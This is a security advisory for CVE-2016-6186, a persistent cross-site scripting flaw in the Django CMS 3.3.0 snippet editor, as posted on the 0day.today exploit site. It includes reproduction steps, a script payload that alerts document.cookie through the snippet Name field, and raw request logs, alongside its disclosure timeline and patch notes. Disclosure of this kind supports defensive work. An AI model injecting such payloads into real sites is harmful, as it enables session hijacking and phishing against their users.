0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Django CMS 3.3.0 - (Editor Snippet) Persistent Cross-Site Scripting
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Document Title: =============== Django CMS v3.3.0 - (Editor Snippet) Persistent Web Vulnerability Security Release: https://www.djangoproject.com/weblog/2016/jul/18/security-releases/ http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6186 CVE-ID: ======= CVE-2016-6186 Product & Service Introduction: =============================== django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines. django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and extended by developers to create a site that is tailored to their precise needs. (Copy of the Homepage: http://docs.django-cms.org/en/release-3.3.x/upgrade/3.3.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered an application-side vulnerability (CVE-2016-6186) in the official Django v3.3.0 Content Management System. Vulnerability Disclosure Timeline: ================================== 2016-07-03: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-07-04 Vendor Notification (Django Security Team) 2016-07-07: Vendor Response/Feedback (Django Security Team) 2016-07-18: Vendor Fix/Patch (Django Service Developer Team) 2016-07-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Divio AG Product: Django Framework - Content Management System 3.3.0 Divio AG Product: Django Framework - Content Management System MDB, 1.10, 1.9, 1.8 and 1.7 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Django v3.3.0 Content Management System. The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the application-side of the vulnerable modules web context. The persistent web vulnerability is located in the `Name` value of the `Editors - Code Snippet` module POST method request. Remote attackers are able to inject own malicious script code to the snippets name input field to provoke a persistent execution. The injection point is the snippets add module of the editor. The execution point occurs in the `./djangocms_snippet/snippet/` data listing after the add. The data context is not escaped or parsed on add to select and thus results in an execute of any payload inside of the option tag. The attacker vector of the vulnerability is persistent because of the data is stored on add and request method to inject is POST. The vulnerability can be exploited against other privileged user accounts of the django application by interaction with already existing snippets on add. Already added elements become visible for the other user accounts as well on add interaction. The unescaped data is stored in the database of the web-application but when rendered in the frontend or in the edit mode, it's properly escaped. The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the vulnerability requires a low privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Editor - Snippets (Add) Vulnerable Input(s): [+] Name Parameter(s): [+] select Affected Module(s): [+] Snippets Options Listing [./djangocms_snippet/snippet/] - option Proof of Concept (PoC): ======================= The application-side validation web vulnerability can be exploited by low and high privileged web-application user accounts with low user interaction. For security demonstration or to reproduce the application-side web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Login to your django cms website with version 3.3.0 2. Open the structure module 3. Click to edit a page module Note: Now the editor opens with the main default plugins 4. Mark a text passage and click to the code snippets plugin that is configured by default installation 5. Click the plus to add a new snippet of code 6. Inject a script code payload in java-script to the input field of the Name 7. Save the entry iva POST method request 8. Now click the box to choose the vulnerable injected payload 9. The script code payload executes in the box listing without secure parse or filter to encode 10. Successful reproduce of the application-side validation vulnerability in the editors snippet module! Note: Multiple accounts can be exploited by the inject of snippets. When another privileged user account includes a snippet the stable saved categories provoke the execution of the payload. PoC: Snippet Module [./djangocms_snippet/snippet/] (Execution Point) <select> <option> ... <fieldset class="module aligned "> <div class="form-row field-snippet"> <div> <label class="required" for="id_snippet">Snippet:</label> <div class="related-widget-wrapper"> <select id="id_snippet" name="snippet"> <option value="">---------</option> <option value="3" selected="selected">"><"<img src="x">%20%20>"<iframe src="a">%20<iframe> "><"<img src="x">%20%20>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie)<>[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]%20<iframe></iframe></option> <option value="1">Social AddThis</option> <option value="2">tour "><"<img src="x">%20%20>"<iframe src=a>%20<iframe></option> </select> <a href="/en/admin/djangocms_snippet/snippet/3/?_to_field=id&_popup=1" class="related-widget-wrapper-link change-related" id="change_id_snippet" data-href-template="/en/admin/djangocms_snippet/snippet/__fk__/?_to_field=id&_popup=1" title="Change selected Snippet"> <img src="/static/admin/img/icon_changelink.gif" alt="Change" height="10" width="10"> </a> <a class="related-widget-wrapper-link add-related" id="add_id_snippet" href="/en/admin/djangocms_snippet/snippet/add/?_to_field=id&_popup=1" title="Add another Snippet"> <img src="/static/admin/img/icon_addlink.gif" alt="Add" height="10" width="10"> </a> </div> </div> </div> </fieldset> ... --- PoC Session Logs [POST] (Injection) [GET] (Execution) --- Status: 200[OK] POST http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1 Request Header: Host[django3-3-0.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1] Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en] Connection[keep-alive] POST-Daten: POSTDATA =-----------------------------30880199939743 Content-Disposition: form-data; name="csrfmiddlewaretoken" LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm -----------------------------30880199939743 Content-Disposition: form-data; name="_popup" 1 -----------------------------30880199939743 Content-Disposition: form-data; name="_to_field" id -----------------------------30880199939743 Content-Disposition: form-data; name="name" test <img src="x">%20%20>"<iframe src="a">%20<iframe> "><"<img src="x">%20%20>"<iframe src=a>[PERSISTENT INJECTED SCRIPT CODE VIA SNIPPET NAME!]%20<iframe> -----------------------------30880199939743 Content-Disposition: form-data; name="html" sd -----------------------------30880199939743 Content-Disposition: form-data; name="template" aldryn_tour/tour.html -----------------------------30880199939743 Content-Disposition: form-data; name="slug" tour -----------------------------30880199939743 Content-Disposition: form-data; name="_save" Save -----------------------------30880199939743-- Response Header: Transfer-Encoding[chunked] X-Proxy-Request-Received[0] Server[Aldryn-LoadBalancer/2.0] Date[Mon, 04 Jul 2016 09:34:19 GMT] X-Aldryn-App[django-cms-3-3-demo-sopegose-stage] Content-Language[en] Expires[Mon, 04 Jul 2016 09:34:19 GMT] Vary[Cookie] Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT] Cache-Control[no-cache, no-store, must-revalidate, max-age=0] X-Frame-Options[SAMEORIGIN] Content-Type[text/html; charset=utf-8] Set-Cookie[sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; expires=Mon, 18-Jul-2016 09:34:19 GMT; Max-Age=1209600; Path=/] - Status: 301[MOVED PERMANENTLY] GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!] Request Header: Host[django3-3-0.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en] Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en] Connection[keep-alive] Response Header: Server[Aldryn-LoadBalancer/2.0] Date[Mon, 04 Jul 2016 09:34:19 GMT] Vary[Cookie] X-Frame-Options[SAMEORIGIN] Content-Type[text/html; charset=utf-8] Location[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x/] Content-Language[en] - Status: 200[OK] GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/a/[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!] Request Header: Host[django3-3-0.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en] Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en] Connection[keep-alive] Response Header: Transfer-Encoding[chunked] X-Proxy-Request-Received[0] Server[Aldryn-LoadBalancer/2.0] Date[Mon, 04 Jul 2016 09:34:19 GMT] Content-Language[en] Expires[Mon, 04 Jul 2016 09:34:19 GMT] Vary[Cookie] Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT] Cache-Control[no-cache, no-store, must-revalidate, max-age=0] X-Frame-Options[SAMEORIGIN] Content-Type[text/html] Reference(s): http://django3-3-0.localhost:8080/ http://django3-3-0.localhost:8080/en/ http://django3-3-0.localhost:8080/en/admin/ http://django3-3-0.localhost:8080/en/admin/cms/ http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/ http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/ http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/ http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/ http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/ http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/9/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the vulnerable Name input field in the add snippets editor module. Restrict the input and disallow the usage of special chars. Escape the entries in case of emergency and use plain-text values. Encode in the snippets module listing the vulnerable box with the name listing to prevent the execution point of the vulnerability. Resolution: Patches to resolve the issues have been applied to Django's master development branch and the 1.10, 1.9, and 1.8 release branches. The patches may be obtained from the following changesets: - On the development master branch - On the 1.10 release branch - On the 1.9 release branch - On the 1.8 release branch The following new releases have been issued: - Django 1.10rc1 - Django 1.9.8 - Django 1.8.14 Reference(s): https://developer.mozilla.org/en-US/docs/Web/API/element/innerHTML # 0day.today [2024-11-15] #